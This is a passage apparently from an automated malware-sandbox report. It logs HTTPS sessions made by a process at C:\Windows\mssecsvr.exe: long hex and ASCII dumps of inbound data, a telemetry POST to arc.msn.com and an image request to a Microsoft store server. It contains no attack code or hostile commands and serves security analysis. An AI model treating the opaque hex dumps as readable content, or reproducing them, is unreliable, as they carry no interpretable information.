7f 0a 78 a2 32 7e 64 8f cb a7 e6 Data Ascii: *K7?u!EUmKB w4cFZoQ<ET$xF7:.~QB\TiTPF\|J0nP9.5/}(, 2-ZtHzF6]E#<~<]425;6^:BL{(m<a)~yHcHnyBKyLx2~d
2022-07-20 17:08:50 UTC	4201	IN	Data Raw: 46 83 4a f4 4e 76 20 84 9b 05 2e ef d3 b6 aa 2c 7e 94 b1 73 39 82 78 43 a9 78 e2 5f 20 17 d0 ef 26 f6 fa 0a df 83 1a 14 56 03 d1 40 be 9b 15 3d 7c 59 be cb 7d 69 37 49 e9 18 47 a7 0c 25 ac 2f 72 4e e3 a0 be a4 dc 7d 2a 58 66 05 5d c1 57 08 56 ee 87 42 2c 7b 1e c7 bd 08 f0 a3 31 a9 8f 69 0c 0c 97 8c 74 04 5b 4b 7d c2 9b 8b f6 ca fe 77 3d e4 11 96 0f b7 1e 26 b6 d1 b9 87 e3 6f f6 41 3f 51 fa 7f 3f 85 eb a5 5b e1 6f 87 4f d2 d0 7c 2f f0 b7 e9 69 5a 0a b5 be 36 35 ad 58 d6 bf a1 a7 c7 ad 5a e6 ba fc 2e 6a f5 a0 fd 1d 2b 4f d0 eb 56 1d 6a fd 6a f6 ab 2a 9b fd 28 97 f2 85 04 92 74 b0 1d 49 bf 61 dc d3 7b 73 38 cf 34 91 aa b4 b3 e3 2a c9 14 65 85 f6 e8 6e c4 0d 4e de 94 d8 b9 71 e5 60 b6 e0 b1 b4 aa 1d 64 b9 b0 d5 3f 09 ef 63 52 70 e7 3d 37 47 0b 4a 66 d4 44 59 Data Ascii: FJNv .,~s9xCx_ &V@=\|Y}i7IG%/rN}Xf]WVB,{1it[K}w=&oA?Q?[oO\|/iZ65XZ.j+OVjj(tIa{s84*enNq`d?cRp=7GJfDY
2022-07-20 17:08:50 UTC	4217	IN	Data Raw: 46 65 b8 28 ac 05 ad b7 43 6b df ad 71 fe de 8a 46 e4 b6 86 10 62 39 06 58 d2 35 b6 9b 2c a5 3b 8d df 84 28 bb 57 23 cc fb a4 4b 1e 1f 16 be 93 c5 93 65 88 e8 48 16 16 df f4 e8 4f 63 50 61 fb 7e 39 31 a6 7c 55 48 9e 64 11 84 8d 6c 2e a8 3b 76 50 34 d6 dd 69 b0 d9 d4 65 38 32 b8 66 02 ca 45 c9 f2 dc 0e 97 22 b0 b1 f9 2c 5c 86 c6 16 86 e8 86 40 db e5 57 ba 9b d8 02 40 d7 a7 8d 66 e1 64 66 40 99 af 18 09 07 a8 0c 84 b3 0b 79 56 e6 df 3a eb f0 b2 ea 7a 51 1c 96 4c 71 b8 17 f4 c1 dc e7 fe c8 d6 8c 5c 14 62 08 ba 09 24 1b 9c fd 07 41 fa e8 72 11 66 4f eb a9 bd d9 cb 03 f2 2a 74 23 e5 51 f1 fc 92 7e 4f 2e 4b 2a 9b de 29 1b c0 1e aa 4f 60 7e 97 ab 35 c1 1d 88 f8 6a 2b a0 ab 01 f7 57 4d 6a e4 d6 ba d7 94 69 5a 8f 85 cf c3 5f 85 af 5d 4d 58 93 5a b5 5a f5 e3 6a 7c Data Ascii: Fe(CkqFb9X5,;(W#KeHOcPa~91\|UHdl.;vP4ie82fE",\@W@fdf@yV:zQLq\b$ArfOt#Q~O.K)O`~5j+WMjiZ_]MXZZj\|
2022-07-20 17:08:50 UTC	4225	IN	Data Raw: 17 1e 3b c3 93 09 94 dc fa 73 a7 9d 82 91 e5 56 36 1d ad 51 67 4b 9f 9b 94 12 31 8c 32 66 94 8c 84 44 36 f4 9d 88 bd 81 ee 41 27 f9 a8 af 13 9b 07 ab b0 b1 39 17 37 db db 72 8b 81 6a 99 79 1c 8c 88 f9 12 ec 90 3c 50 09 21 0e 83 70 56 b9 dd b4 8f e2 1d 3a 6a 6b 13 92 e6 f9 0c 3c 18 f2 77 1c 5c 5c 99 7f a9 29 dd d6 c2 e6 d7 d4 02 01 36 f2 dc 50 85 e4 c7 c8 76 0b b6 4c 67 dd 19 00 92 75 eb 71 d3 ec a9 70 f8 d0 91 a4 52 6e 79 dc d9 63 b1 b8 37 3a 7d 9d 4d 45 ca 7f 70 b2 a5 c7 69 22 39 38 d8 38 f1 38 ce cc 43 e3 6b 8c 45 93 52 9e a1 59 5c 6a 02 8d 69 3d b1 ed 9c 41 83 c1 42 11 e2 c0 c7 8c e9 b8 5f 74 8d a2 b3 7f 31 2c 4f 8d cd 7a cd 10 56 2d fc 6d e6 51 f2 db 7d 7f 65 36 57 25 3b 18 d7 ae c1 b2 fb b4 02 cb 76 62 7a 0d 6e 68 65 f2 91 0d c0 11 0c 0d e6 58 14 eb Data Ascii: ;sV6QgK12fD6A'97rjy<P!pV:jk<w\\)6PvLguqpRnyc7:}MEpi"9888CkERY\ji=AB_t1,OzV-mQ}e6W%;vbznheX
2022-07-20 17:08:50 UTC	4241	IN	Data Raw: a3 70 b2 af 5d 34 b8 16 ac b8 bd bd c3 e3 72 50 e7 c9 19 91 f3 91 c3 82 83 ca 11 22 68 f6 29 17 f3 30 24 fc 85 7a 92 7b 4b 8a 60 63 6d c0 4b 98 84 07 05 49 b5 cd 88 26 b1 bf b8 18 fc 72 72 52 e2 c3 95 07 e5 a7 95 e1 56 19 0b b0 9d ea 18 82 bd 46 9a f7 a3 c1 45 ed 7c 5f 55 67 f5 0c 92 67 e5 4b 10 6b b1 55 64 50 b7 20 b7 e1 52 2f 6e d4 9e f1 fe ea 73 58 1c 76 2e e3 22 26 56 66 2c 6c aa 7f 86 38 1a 4d b1 27 c8 f9 8f f1 1a 46 c4 f7 d6 2e 37 20 b7 71 99 91 91 03 41 32 48 4b 47 75 53 b6 c1 41 1b 91 b5 b6 b5 e8 41 99 c6 f3 f8 c6 e1 72 38 2c 81 95 a7 5b b4 6a 37 20 d3 a9 d3 e7 5e c7 f7 57 b7 b1 b2 61 e4 79 9e 36 5c 8e 4a 59 e1 22 39 66 77 33 c4 62 bb f9 84 70 15 8f ca 05 c8 0d 63 7a 8f db 9c 1f 29 3e 16 1e 46 f5 99 23 82 37 49 f7 b0 04 cf 1c eb 2a 92 bf c2 76 ab Data Ascii: p]4rP"h)0$z{K`cmKI&rrRVFE\|_UggKkUdP R/nsXv."&Vf,l8M'F.7 qA2HKGuSAAr8,[j7 ^Way6\JY"9fw3bpcz)>F#7I*v
2022-07-20 17:08:50 UTC	4257	IN	Data Raw: a5 c5 08 bd 89 c9 63 c5 1d 9c e4 43 37 19 fe 55 1c ca 05 b6 36 54 09 bd 7b 58 29 b9 b5 ba 56 7f b9 7d cf c8 63 4b cf 3e 36 3c 5c a6 36 3e 16 6f 20 57 13 22 41 04 87 1f 39 d0 bf f4 bf a7 23 bb 5b 71 7f 41 74 d2 b3 3d c3 c5 24 ed 14 7c 64 4b 1a 34 4d 1c be 4c 15 17 31 35 99 56 fe 23 51 ad ab 89 e2 1e 09 b1 30 73 e3 9b 14 fe 67 11 23 77 41 9a ee c8 a5 97 72 90 5e e7 69 07 51 d2 f5 87 9e f3 0c 78 e4 8a 22 12 7f 24 a2 c0 2f 9a 3d 58 1d 3c 29 e6 53 71 f9 2e 52 c4 77 be 5c 75 96 4e a5 1e 3d 7e aa 6b 0a 1f ee 6e 76 3e 3a 63 2c 8f 04 13 66 45 8e 1c 31 d5 8a be ad 62 2c 2d a0 ac 4f 6f 7b 55 b1 f2 fd b4 b1 bc 30 7a 72 2c 91 ba 17 6d c1 5c 58 12 18 b5 88 d4 1e 9d 2a 3c 73 99 9c 64 e3 a4 7c 56 47 cb 91 d6 65 88 7f 4d dd 58 90 43 46 56 fd 89 14 f9 de f7 cb c0 93 92 81 Data Ascii: cC7U6T{X)V}cK>6<\6>o W"A9#[qAt=$\|dK4ML15V#Q0sg#wAr^iQx"$/=X<)Sq.Rw\uN=~knv>:c,fE1b,-Oo{U0zr,m\X*<sd\|VGeMXCFV
2022-07-20 17:08:50 UTC	4264	IN	Data Raw: 77 b9 df d9 89 b0 ec b6 14 73 21 c9 c4 fc f6 4e 39 49 49 e4 21 94 b9 8d c6 c0 8a a5 ad 65 3d 05 ef d6 b8 fc 86 9b 18 0f fc c5 c2 06 2f 29 0a 07 e6 09 25 8e cd 00 b6 a6 b1 d9 65 88 a9 89 0a 9f ea 1b 82 07 82 0a f5 b9 2e 63 8b 87 37 02 49 86 5c ac 99 2d 24 10 a4 67 d4 12 10 b6 55 56 2b d8 eb 61 59 2f 89 cd e1 e6 44 22 00 ba 60 65 c8 91 b4 b7 11 36 f7 55 40 4b 0f 21 bf 5e 82 a0 e6 78 79 ce 46 16 42 ee 8a 54 c7 2a 18 02 41 d1 dc 11 62 08 d4 76 a9 bd c1 cd b6 52 61 c4 d1 a3 98 71 a3 76 06 56 da b6 5d fd 2f d7 c2 9f 3c 41 cd e4 26 48 c8 c9 8c 63 f1 b8 f6 10 e2 46 82 67 3e 75 0a 01 fe 1f c4 7a f7 ac 5c 7c 6c 1e 73 6f aa f0 aa 4a 98 d0 d9 a6 74 8c 6e 1a d8 06 b6 b7 26 d5 91 9e dc 7c c5 31 a1 96 62 bf 9d 40 58 44 85 88 04 25 ae 40 b0 a9 3d e5 89 ed 8c ec ac 3c 74 Data Ascii: ws!N9II!e=/)%e.c7I\-$gUV+aY/D"`e6U@K!^xyFBT*AbvRaqvV]/<A&HcFg>uz\\|lsoJtn&\|1b@XD%@=<t
2022-07-20 17:08:50 UTC	4280	IN	Data Raw: 20 5c fd b4 d8 6d ed ff 00 71 64 bb c8 d2 07 cd e2 31 e2 75 12 1b 84 56 62 a0 22 f4 40 75 03 a9 a9 78 9c ee 3b 90 c5 c7 9c 15 99 65 e4 f8 dc 22 56 e0 80 19 24 57 4e 9d 8f cb a5 e8 fe 73 92 c5 c5 40 00 1f 9a f7 56 1a 9b f8 f9 24 23 f5 57 e4 79 cf 73 7b 6c c4 5d 24 7f 5b dc f2 4c 37 23 6e 5d 23 04 0b 11 7d 29 a6 e4 bd ef ed c3 bb f1 6d e4 39 2c 8b fd ab 1d fe da e4 0e 5f bb 78 4c 55 5c e9 23 90 c5 c7 72 53 99 de 35 5f eb 5d 54 5c 10 6c 37 9d e7 6f 9b 4b 53 4f 93 ce f1 19 13 7f e1 c9 95 c5 e6 0b a0 26 c7 69 27 46 ee 0d 7a 6f ca fb 76 48 f7 33 15 6c 6c d8 ae 58 df b2 1e 9d bc 29 65 7e 43 db 12 bc 66 e8 49 cb 42 2f f3 f4 fb f7 a6 31 e4 fb 66 c7 43 6c cc 84 3f 61 31 e9 4a e2 6e 01 9d 4f e3 4e 6b 21 18 81 d0 1d 05 fe b5 04 51 66 61 63 cf 95 90 91 47 97 17 35 29 Data Ascii: \mqd1uVb"@ux;e"V$WNs@V$#Wys{l]$[L7#n]#})m9,_xLU\#rS5_]T\l7oKSO&i'FzovH3llX)e~CfIB/1fCl?a1JnONk!QfacG5)
2022-07-20 17:08:50 UTC	4296	IN	Data Raw: 3c e4 2f 34 7c 73 62 b0 58 89 12 5a 46 2a c1 6c 45 f4 37 b1 36 d2 f5 fe 45 89 c5 3c f2 0e 6b 0f 8d 1e 66 6d f0 e5 44 64 59 94 16 e8 2c 77 03 e6 36 d3 4a f6 ce 14 5c 0c 29 8f ce 4f cc 06 77 11 30 58 38 d9 0a 09 c5 d6 e4 33 0b 6c d1 87 5b 9a 7f 7a e2 e3 a6 66 4e 3e 74 71 c5 03 92 37 7a b3 ed 63 71 ae 8b 7e 9a f4 1d 2b 8f 9b 1e fe 8c d0 a4 aa 1a d7 b4 9e 6b 1b 77 17 b1 af ee 17 01 9c 55 a1 f6 ff 00 24 b8 f8 6e a4 92 f0 c8 82 fb 89 3a 90 cb a1 16 d0 da b9 31 7d 0e 46 7e 9f 75 63 f1 9e d5 58 4f 27 c9 3c a5 e7 95 77 ac 31 c3 b4 10 13 41 b9 8b 68 7a 0b 13 d6 a6 87 dc fe 92 f2 1c 66 4c 11 7a b1 f9 16 78 e7 04 a9 29 73 e7 56 53 7b 68 41 06 d7 15 75 ac ae 73 90 0c d1 62 43 24 e5 10 d9 9f d2 52 db 47 d6 d6 ac 18 bd cb 8d 8a 78 7e 4b 22 3c 4f 43 19 59 64 c7 59 9c 2a Data Ascii: </4\|sbXZFlE76E<kfmDdY,w6J\)Ow0X83l[zfN>tq7zcq~+kwU$n:1}F~ucXO'<w1AhzfLzx)sVS{hAusbC$RGx~K"<OCYdY
2022-07-20 17:08:50 UTC	4304	IN	Data Raw: aa d2 44 ca ac a1 e3 72 01 20 f8 69 59 31 7b 9e 0c 1f ce c9 96 4e 36 64 69 23 fa 91 95 b7 99 03 6e 00 93 76 bd d8 1e 86 d5 85 ed 48 63 48 52 06 95 f6 42 c5 94 19 1c b5 d5 bc 0e 86 9b 3f dc 1c 2e 1b f2 39 2a 5e 47 18 c0 17 04 6a f2 6d 02 fb bf 98 ea de 35 0f b6 3d c3 c6 44 78 fc 38 94 61 fa 0a b0 c9 8e aa 2e a2 27 02 ea bd f6 fe 13 dc 54 be df c9 59 33 21 7c 83 3c 52 0c 45 f5 16 32 b6 52 e7 6d 85 87 5b 59 4f e2 b5 62 f0 30 04 d9 0a 93 e4 5d ab 77 25 ae 07 6b de f5 c7 af ff 00 5a 48 7f f9 65 1a 91 b8 ef cb c2 b2 a8 19 33 49 0a 49 23 20 d1 54 33 03 b5 6f e1 ad eb d3 68 ae 3a 6e d8 2c 7f 55 07 88 26 c0 c5 90 aa 28 61 7e be 6b 5e ad d6 c2 bd a3 19 ff 00 ea cc 2f fe da 5a 93 07 d7 98 62 ff 00 98 c5 78 44 cf e9 eb 8d af 92 fb 75 fa 57 f7 03 74 b2 96 5f 79 fa 51 Data Ascii: Dr iY1{N6di#nvHcHRB?.9*^Gjm5=Dx8a.'TY3!\|<RE2Rm[YOb0]w%kZHe3II# T3oh:n,U&(a~k^/ZbxDuWt_yQ
2022-07-20 17:08:50 UTC	4320	IN	Data Raw: 33 78 ff 00 6c e3 e2 4f 19 56 0f fe 69 99 90 e8 43 02 3c a4 84 3d 3a 1b d7 3b ec 59 bd bf 83 26 47 3b 2a cb 17 27 91 2c 82 5c 62 0e ad 10 24 b8 3f cb b1 91 41 be 84 69 44 3e 53 3c fb 85 a1 46 99 47 5e ee 64 20 53 f2 dc 93 83 8e ef 6d e5 8e e2 07 f0 dc 5c dc 77 bd 36 54 78 d9 b1 e2 b9 0c 25 37 11 2b ed 0d 60 7f 0d c8 22 cb f3 a3 c8 88 72 7f aa 7d 68 de 4d f1 ee 4b d8 48 85 80 dc a4 f4 65 ba 9d 6c 74 ac ac d8 e3 67 99 44 71 86 67 3b d1 98 f9 48 e9 d7 50 45 1c 6c 94 95 73 1c f9 88 d5 42 f7 b8 3d 41 3d 05 43 12 48 77 af 9c dc 9d bb bb 13 7e 96 1d 45 e9 d9 d8 47 91 e9 ed 07 72 82 cb 7d 6c 7a 01 f3 35 fe 63 c6 e4 36 36 44 6b 68 b2 71 e6 31 4a a0 75 50 c8 47 dd 59 9c 6f ba f7 73 dc a3 3c 0d c5 65 48 cb 19 89 50 8f 52 1c 9b 00 65 0c 07 95 87 f5 01 3a 9e 95 81 ee Data Ascii: 3xlOViC<=:;Y&G;*',\b$?AiD>S<FG^d Sm\w6Tx%7+`"r}hMKHeltgDqg;HPElsB=A=CHw~EGr}lz5c66Dkhq1JuPGYos<eHPRe:
2022-07-20 17:08:50 UTC	4336	IN	Data Raw: e4 38 c8 f2 db 24 e3 e0 86 48 50 d9 54 e1 c4 0a a9 1f c2 40 d4 78 d1 c9 8f 0b 90 8e 40 9b 11 16 09 18 7a 6c 0f 96 fd 2c 3f 94 d1 e1 a5 c2 cd 78 52 35 02 45 82 5d c6 dd 23 d0 5c 01 f7 54 42 7e 2f 94 31 63 c2 b0 98 d7 1e 70 64 40 49 2b b8 03 a8 27 be 84 74 a9 78 6e 2b 88 9e 4c 1c 8f ea 9f 5b 8d 96 53 1c c9 a0 b1 74 b8 ba 8d 46 aa 7c 2a 2c 3e 5b 8f e5 26 87 14 a3 63 c4 62 9c c7 1d 80 dc 52 32 b6 52 6c 2f f4 b0 d2 a5 78 b8 bc ff 00 45 c8 da 1b 12 5e 86 c3 f9 74 a5 c0 e6 b8 8e 42 17 88 02 c2 38 09 78 c3 68 b2 15 b5 ca dc 77 d0 ea 05 1c 5c 96 13 64 4a 80 7e 63 d2 d8 1d 57 fe 1b b2 58 14 92 33 a5 8e 8c b4 93 c4 a5 32 03 c9 32 bc 67 6a 2c cc 36 ab bd ba aa 8b 9d bf c4 4d 3c 31 e3 b6 5e 53 86 59 72 72 55 81 60 97 24 a2 75 2a be 3a 0f 1a e4 3d c9 9d c9 c5 07 f7 22 Data Ascii: 8$HPT@x@zl,?xR5E]#\TB~/1cpd@I+'txn+L[StF\|,>[&cbR2Rl/xE^tB8xhw\dJ~cWX322gj,6M<1^SYrrU`$u:="
2022-07-20 17:08:50 UTC	4344	IN	Data Raw: d6 52 08 47 75 3d 96 fe 50 00 ef de b0 e1 e3 33 0e 16 3e 33 3d b1 65 df 2c 6e 45 80 21 64 6f 2a 0f e1 51 a8 1f 2a 8a 6c 5c 5c 42 52 0d f3 46 b8 ed e7 67 27 63 b7 a7 6b 58 e8 17 bf 5d 6a 4c 2e 3f 0f 18 e5 e3 c2 a9 2e 56 51 fe 96 d0 7c d1 46 8d 75 de 09 f0 b9 1d aa 68 f8 08 5d 39 66 0c cb 24 79 11 94 20 9d da 80 34 db af 95 6d 7e fd 2a 1c 69 b1 60 7c f9 1f 6b ae c7 58 d0 36 96 7d 4a b0 fe 26 d3 e5 51 7b 47 98 de 8a 73 84 b2 4d 8e 15 22 08 be 6d bb 89 27 75 ba 13 f4 3a e9 59 99 fc 3a c3 9d ca 2a bc 78 4a 24 59 25 8f 1d ec b2 86 52 05 8b 21 24 31 5f 27 8d 8d c3 61 e7 61 ff 00 c9 e3 22 c7 89 24 70 9f 55 f7 31 b6 cb 00 2e b1 58 2a 83 b5 5c b1 26 d5 c6 fb 9b 99 8c 49 c8 f1 f9 62 68 9e 28 8f e6 10 25 c1 48 a5 56 0a 18 7c d5 f5 ef 6d 28 f2 59 b9 93 4f 36 64 ec 60 Data Ascii: RGu=P3>3=e,nE!doQl\\BRFg'ckX]jL.?.VQ\|Fuh]9f$y 4m~i`\|kX6}J&Q{GsM"m'u:Y:xJ$Y%R!$1_'aa"$pU1.X*\&Ibh(%HV\|m(YO6d`
2022-07-20 17:08:50 UTC	4360	IN	Data Raw: be 87 c6 a7 7e 33 32 22 1c 47 eb de 0c 4b b2 ab 6f 42 42 e4 6e 3b 48 04 6d f3 6a 2d 59 dc 47 bc 79 7c 3c 1e 22 1c cc 99 e1 8a 58 01 9f 2b 24 64 17 08 37 48 02 8b 82 41 73 b6 f7 1a d6 5f b6 79 8e 4a 6c 9f cc af f9 a4 a8 f1 e3 e4 e2 2a 83 e9 28 59 1e 42 a4 9d 4a 8e a0 2e 9a 11 49 85 82 d1 a3 4f 34 6b 95 3a 62 c0 b1 46 a1 b6 ee b4 2d b5 ac 0e eb 92 b7 f1 a9 e2 cc cb 8b 13 8e ba ab 6f c5 13 48 c5 16 eb b6 32 45 c1 b0 20 5e c0 9e f5 83 ed b5 f7 46 32 70 50 83 91 63 c5 c2 15 66 42 ac 8b e9 b4 84 35 cb 33 30 36 55 75 20 ae a2 a4 5e 32 09 72 31 63 96 5f f9 d8 f1 ca c6 e1 5c f9 82 81 e5 bd ae 17 a0 bf 85 61 e2 4b c8 2e f0 c1 0e 2b 0f ea 20 0c 00 24 e9 a7 7d a7 a0 f9 54 bc 14 9c c0 8d 21 76 85 1d 20 69 4e d1 d0 a3 2d fc a7 b0 04 fd 68 73 9c 3e 7c fc 8e 6b e4 59 b1 Data Ascii: ~32"GKoBBn;Hmj-YGy\|<"X+$d7HAs_yJl*(YBJ.IO4k:bF-oH2E ^F2pPcfB5306Uu ^2r1c_\aK.+ $}T!v iN-hs>\|kY
2022-07-20 17:08:50 UTC	4376	IN	Data Raw: 71 fb 57 3f 84 c7 e3 b8 cc b6 fc ce 5f b7 c7 1d 1c 8f 23 01 b6 39 4b 3b 0b 2b 7e 0b f9 c0 26 b9 7f 71 f3 7e d1 e6 f9 5e 5b 33 37 23 2e 07 c3 f6 e4 b3 33 47 2d f6 ff 00 50 58 16 ec 58 eb 6a fe e9 fb 8f 92 f6 a6 67 0b ca 4f 24 a9 87 c6 37 1a f0 64 e4 ff 00 ca 2a a1 30 ea d2 34 85 ca af cb 4a 12 fb 8f fb 57 cf c3 32 c6 8b f9 73 ed 7c c9 45 e3 d5 48 75 60 2e 0e 83 cb d0 9a f6 c2 61 7b 7b 2b 0f 13 91 e7 27 c8 93 86 87 8f 9c 4d 0c 32 4d 90 e4 3e 38 dd 22 30 21 19 ae 7b fc ed 51 4b 85 ed 19 5d 61 8c 6f fc d7 0d 98 42 94 52 ce fa 15 01 6d 7b 1b f8 de d5 c4 64 72 1c 7c b2 f0 3e e1 e1 60 c7 97 0a 04 de c9 eb 5e 2d 89 73 60 63 75 2c a6 f7 5d a3 5b d7 25 ed 9e 5e 1c ec 9c 2c 62 ec fc 8b e1 cd 0c 1b ad b9 06 f7 ba b9 2b 6f 30 36 62 74 af fc e9 ef 59 71 31 38 59 33 79 Data Ascii: qW?_#9K;+~&q~^[37#.3G-PXXjgO$7d*04JW2s\|EHu`.a{{+'M2M>8"0!{QK]aoBRm{dr\|>`^-s`cu,][%^,b+o06btYq18Y3y
2022-07-20 17:08:50 UTC	4384	IN	Data Raw: 67 1b 16 21 8b 91 0c 2f 2a a7 a7 1b 7a 40 85 b0 b5 91 75 e8 2f d2 fd e9 38 b8 27 c7 85 76 98 a6 96 29 18 34 e6 56 ba 85 6b 01 08 b0 2c e4 92 1b 4e 95 8b 2c ad 87 1e 3a b9 87 1e 4d 4f a8 22 3b 1d 81 b5 88 3f cc 3a 11 58 1c 4f 05 1c 47 23 39 e4 ff 00 98 99 43 a8 d6 fe 52 35 f2 81 61 b8 77 be a2 b1 f3 72 06 24 d1 63 46 5e 52 43 7a 6f b2 fb af b7 5b 93 d0 8d 3a 54 dc 87 23 16 16 16 46 68 8a 24 c7 87 cc c7 7a 89 b7 4a ac 2d 62 ba 5c 6b ba c7 5a fc df b7 73 de 2e 5d 96 48 21 99 70 a3 8e 58 ae a4 16 07 76 db 9d 45 fe 74 f0 64 f2 78 b1 30 62 24 32 60 a4 ed 21 66 b9 04 99 15 8f 89 d0 db ed a8 db 1b 93 1e 93 16 90 ae 2f 14 aa aa 84 fe 27 50 e6 eb e1 5e b9 e6 31 d1 16 ea 9e ae 12 05 63 e2 46 fb fd c6 a3 c0 c7 68 e3 91 a2 2d 8f 93 04 08 a0 86 6f c5 2a 82 c4 6c 00 9b Data Ascii: g!/z@u/8'v)4Vk,N,:MO";?:XOG#9CR5awr$cF^RCzo[:T#Fh$zJ-b\kZs.]H!pXvEtdx0b$2`!f/'P^1cFh-ol
2022-07-20 17:08:50 UTC	4400	IN	Data Raw: 03 d7 69 53 6f b7 43 47 2f 27 da fc 80 c8 2c 58 98 f2 1d 45 cf 7f 3c 54 23 cc e2 79 78 4d 8d ff 00 e6 50 e9 f2 0d 10 d6 99 b1 e1 e5 d5 45 95 d1 a6 80 02 06 9d 36 f5 f9 d3 e7 70 70 64 ac 71 3b 07 6c a9 17 d4 25 85 ef 75 1a db e7 49 16 42 3b a8 12 29 2b e5 dc 08 ea 05 af d7 5d 6a 6e 15 08 92 6c 89 22 76 28 a2 e8 a9 7d bf d4 3a 6a 0e ab df 4a 74 91 ac 48 36 21 b5 b9 1e 03 c0 0a f5 64 31 95 bb a8 5c 96 23 57 53 66 5b 6a 08 24 11 47 1b 2d df f3 52 ad e4 90 95 21 81 17 05 7b ea 0f 7e f5 2e 3f a9 2c c9 65 08 64 00 36 9d 2d 6e fe 3e 35 8f c7 f2 11 c6 66 38 71 64 8f cb ce 8f fd 27 17 1b b6 12 04 83 ba 5e e3 bd 4d 24 22 48 a6 51 b4 21 bb 6a 05 c9 62 4e 97 f0 15 73 ea 96 d0 b7 a8 6e 54 9e 87 43 d0 f6 ad 7a fc a8 b5 5c d5 8a 8a e8 6b 51 6f ad 5a da 57 4b 57 9c 03 f5 Data Ascii: iSoCG/',XE<T#yxMPE6ppdq;l%uIB;)+]jnl"v(}:jJtH6!d1\#WSf[j$G-R!{~.?,ed6-n>5f8qd'^M$"HQ!jbNsnTCz\kQoZWKW
2022-07-20 17:08:50 UTC	4416	IN	Data Raw: 57 52 4d 04 93 b0 d6 f7 a6 75 b5 be 5a d5 d0 8a 54 56 b1 3d 2b 62 b8 2d f4 bd 16 91 ae 4d 5a f7 a5 79 45 c0 f0 a3 f9 49 1d 40 ea 09 26 f4 49 62 6b a1 fa d2 4a ae 16 da eb 5b 03 96 7b 03 73 d2 8a 17 20 fc a8 ce 59 87 8d c5 29 2e 6c 0d fa 5e 96 79 f2 64 dc ab a2 84 1a 7c 85 34 51 34 8f ad c9 71 63 f7 0a f3 29 fa 8a 55 04 13 a7 e2 bd 21 ea c4 6b 6b d3 34 6a 2d 6e f4 c2 54 20 de c0 a9 e9 5b 5d d9 81 1a 5d 6a 38 17 70 24 f5 b5 2d dd 8d b5 fc 17 3f 7d 1b 1d 7e 6b a9 a0 01 da 77 74 36 a4 dc 54 90 2d f8 69 98 fc fb 5a bc ba 8a 6f 30 02 d7 3a 51 53 46 f6 a2 09 b5 03 d6 83 6d 3b 48 ab b9 d7 c0 d1 da 3b f6 ab 0d 6b cc 6d 57 5e 95 f3 ae ba 55 cf c2 dd ea 3c 85 50 4e e1 63 60 4f eb ad c8 2c 18 8b e9 62 0f d2 b4 65 b7 db 52 25 ee 08 3e 34 58 69 11 24 03 70 6f 6f a5 74 Data Ascii: WRMuZTV=+b-MZyEI@&IbkJ[{s Y).l^yd\|4Q4qc)U!kk4j-nT []]j8p$-?}~kwt6T-iZo0:QSFm;H;kmW^U<PNc`O,beR%>4Xi$poot

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.7	53075	20.40.129.122	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:51 UTC	4417	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1522 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 17:08:51 UTC	4418	OUT	Data Raw: 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 31 38 31 35 32 38 30 32 34 38 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 52 45 51 41 53 49 44 3d 33 34 43 44 37 42 30 42 46 31 37 45 34 46 43 30 41 36 33 35 39 33 35 33 32 45 34 43 46 45 45 36 26 41 53 49 44 3d 32 66 38 39 31 33 33 61 31 30 33 65 34 63 61 38 61 34 62 31 31 66 65 61 61 33 63 34 66 35 32 37 26 54 49 4d 45 3d 32 30 32 32 30 37 32 31 54 30 32 30 38 32 39 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 31 37 30 37 32 39 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 38 38 Data Ascii: PID=400091688&TID=700129702&CID=128000000000402926&BID=1815280248&PG=PC000P0FR5.0000000IRT&TPID=400091688&REQASID=34CD7B0BF17E4FC0A63593532E4CFEE6&ASID=2f89133a103e4ca8a4b11feaa3c4f527&TIME=20220721T020829Z&SLOT=1&REQT=20220720T170729&MA_Score=2&PERSID=88
2022-07-20 17:08:51 UTC	4419	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:08:51 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49851	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:00 UTC	80	OUT	GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-59f575e79b05?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:00 UTC	81	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 1821 Content-Type: image/png Last-Modified: Thu, 31 Mar 2022 05:44:16 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0UzREU4ODQ" MS-CV: opsyL7UQw0OK0Svs.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:00 GMT Connection: close Access-Control-Allow-Origin: *
